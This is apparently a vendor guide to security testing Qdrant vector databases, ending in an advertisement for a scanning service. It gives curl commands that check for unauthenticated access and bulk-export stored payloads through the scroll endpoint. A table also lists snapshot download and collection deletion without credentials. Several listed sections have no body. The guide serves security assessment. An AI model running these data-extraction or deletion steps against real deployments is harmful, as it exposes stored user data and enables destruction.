Qdrant Security Testing: Unauthenticated REST API, Collection Enumeration, and Vector Snapshot Download

Qdrant is a high-performance vector database written in Rust, increasingly deployed as the vector store backend for RAG systems, recommendation engines, and semantic search applications. Its default security configuration exposes significant risk: the HTTP REST API on port 6333 and gRPC API on port 6334 require no authentication out of the box — any client with network access can list all collections (revealing what data the application stores), retrieve stored vectors with their attached payload fields (which typically contain source document text, URLs, metadata, and user identifiers), create and delete collections, and download full collection snapshots; the built-in web UI at port 6333/dashboard exposes collection statistics and allows browsing stored points without authentication; API key authentication, added in Qdrant 1.2, is disabled by default and when enabled passes the key in the api-key header that is commonly logged by reverse proxies; and Qdrant's distributed cluster mode exposes additional gRPC ports for inter-node communication. This guide covers systematic Qdrant security assessment.

Table of Contents

  1. Qdrant Discovery and API Testing
  2. Collection Enumeration and Data Access
  3. Vector Payload Exfiltration
  4. Full Database Snapshot Download
  5. gRPC Interface Testing
  6. Qdrant Security Hardening

Qdrant Discovery and API Testing

# Qdrant default ports:
# 6333 — HTTP REST API + Web UI (/dashboard)
# 6334 — gRPC API

# Check Qdrant version (no auth required)
curl -s http://qdrant.example.com:6333/ 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Qdrant {d.get('version','?')} status={d.get('status','?')}\")" 2>/dev/null

# Verify unauthenticated access to collections
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  http://qdrant.example.com:6333/collections 2>/dev/null)
if [ "$HTTP_CODE" = "200" ]; then
  echo "VULNERABLE: Collections accessible without authentication"
else
  echo "Auth required (HTTP $HTTP_CODE)"
fi

Vector Payload Exfiltration

# Qdrant stores vectors with attached payload (metadata/text) — these are exfiltrated
# via the scroll or search endpoints

# Scroll through all points in a collection (paginated bulk export)
COLLECTION="documents"
curl -s -X POST \
  "http://qdrant.example.com:6333/collections/${COLLECTION}/points/scroll" \
  -H "Content-Type: application/json" \
  -d '{
    "limit": 100,
    "with_payload": true,
    "with_vector": false
  }' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
result = data.get('result', {})
points = result.get('points', [])
print(f'Points retrieved: {len(points)}')
for p in points[:5]:
    payload = p.get('payload', {})
    print(f\"  id={p.get('id')} payload_keys={list(payload.keys())}\")
    for k,v in list(payload.items())[:3]:
        print(f\"    {k}: {str(v)[:100]}\")
next_page = result.get('next_page_offset')
if next_page:
    print(f'Next page token: {next_page} — more data available')
" 2>/dev/null

Qdrant Security Hardening

Qdrant Security Hardening Checklist:
Security TestMethodRisk
REST API accessible without authenticationGET /collections — lists all collections and point counts without credentialsHigh
Vector payload bulk exfiltrationPOST /collections/{name}/points/scroll with_payload=true — exports all stored metadata and source textHigh
Full collection snapshot downloadPOST /collections/{name}/snapshots — creates downloadable snapshot of entire collectionHigh
Collection deletion without authDELETE /collections/{name} — permanently deletes a collection and all its vectorsHigh
Web UI exposes collection browser without authBrowse http://host:6333/dashboard — view collection statistics and sample vectorsMedium
gRPC API accessible without auth on port 6334Connect with Qdrant gRPC client — performs collection and point operations without API keyHigh

Automate Qdrant Security Testing

Ironimo tests Qdrant deployments for unauthenticated REST API access on port 6333 allowing collection enumeration and vector payload exfiltration, full collection snapshot creation and download without authorization, collection deletion by unauthorized clients, web UI accessible without authentication exposing data browsing, gRPC API on port 6334 unauthenticated, and API key transmission over unencrypted HTTP logged by reverse proxy infrastructure.

Start free scan